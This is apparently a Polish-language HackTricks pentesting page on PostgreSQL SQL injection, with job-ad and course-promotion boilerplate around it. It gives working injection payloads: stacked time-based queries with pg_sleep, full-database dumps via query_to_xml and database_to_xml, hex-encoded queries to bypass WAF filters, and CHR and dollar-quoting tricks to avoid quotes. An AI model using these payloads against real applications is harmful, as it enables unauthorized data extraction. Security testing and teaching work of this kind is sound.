hacktricks/pentesting-web/sql-injection/postgresql-injection/README.md

7.6 KiB

Wstrzyknięcie PostgreSQL

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli interesuje Cię kariera hakerska i hakowanie niemożliwych do zhakowania rzeczy - zatrudniamy! (wymagana biegła znajomość języka polskiego).

{% embed url="https://www.stmcyber.com/careers" %}


Ta strona ma na celu wyjaśnienie różnych sztuczek, które mogą pomóc Ci wykorzystać wstrzyknięcie SQL znalezione w bazie danych PostgreSQL i uzupełnić sztuczki, które znajdziesz na https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interakcja sieciowa - Eskalacja uprawnień, Skaner portów, Ujawnienie odpowiedzi na wyzwanie NTLM i Wyciek

Moduł PostgreSQL dblink oferuje możliwości łączenia się z innymi instancjami PostgreSQL i wykonywania połączeń TCP. Te funkcje, w połączeniu z funkcjonalnością COPY FROM, umożliwiają działania takie jak eskalacja uprawnień, skanowanie portów i przechwytywanie odpowiedzi na wyzwanie NTLM. Aby uzyskać szczegółowe metody wykonania tych ataków, sprawdź jak wykonać te ataki.

Możesz przeczytać ten przykład, aby zobaczyć przykład CTF jak załadować dane do dużych obiektów, a następnie wyciec zawartości dużych obiektów w nazwie użytkownika funkcji dblink_connect.

Ataki na PostgreSQL: Odczyt/zapis, RCE, eskalacja uprawnień

Sprawdź, jak skompromitować hosta i eskalować uprawnienia z PostgreSQL w:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

Ominięcie WAF

Funkcje łańcuchów PostgreSQL

Manipulowanie łańcuchami może pomóc Ci ominąć WAFy lub inne ograniczenia.
W tej stronie znajdziesz kilka przydatnych funkcji łańcuchów.

Zapytania zagnieżdżone

Pamiętaj, że PostgreSQL obsługuje zagnieżdżone zapytania, ale kilka aplikacji wyświetli błąd, jeśli oczekuje się zwrócenia 1 odpowiedzi, a zwrócone zostaną 2. Mimo to nadal można nadużywać zapytań zagnieżdżonych za pomocą wstrzyknięcia czasu:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Triki XML

query_to_xml

Ta funkcja zwróci wszystkie dane w formacie XML w jednym pliku. Jest idealna, jeśli chcesz zrzucić dużo danych w jednym wierszu:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ta funkcja wypisze całą bazę danych w formacie XML w zaledwie 1 wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, możesz ją spowodować DoS lub nawet swojego własnego klienta):

SELECT database_to_xml(true,true,'');

Ciągi w formacie szesnastkowym

Jeśli możesz uruchamiać zapytania przekazując je wewnątrz ciągu znaków (na przykład używając funkcji query_to_xml). Możesz użyć funkcji convert_from, aby przekazać ciąg znaków jako szesnastkowy i ominąć w ten sposób filtry:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Zabronione cudzysłowy

Jeśli nie możesz używać cudzysłowów w swoim ładunku, możesz je ominąć używając CHR do podstawowych klauzul (łączenie znaków działa tylko dla podstawowych zapytań, takich jak SELECT, INSERT, DELETE, itp. Nie działa to dla wszystkich instrukcji SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Lub z $. Te zapytania zwracają te same wyniki:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Jeśli interesuje Cię kariera hakera i hakiowanie rzeczy niemożliwych do zhakowania - zatrudniamy! (wymagana biegła znajomość języka polskiego).

{% embed url="https://www.stmcyber.com/careers" %}

Zdobądź wiedzę na temat hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: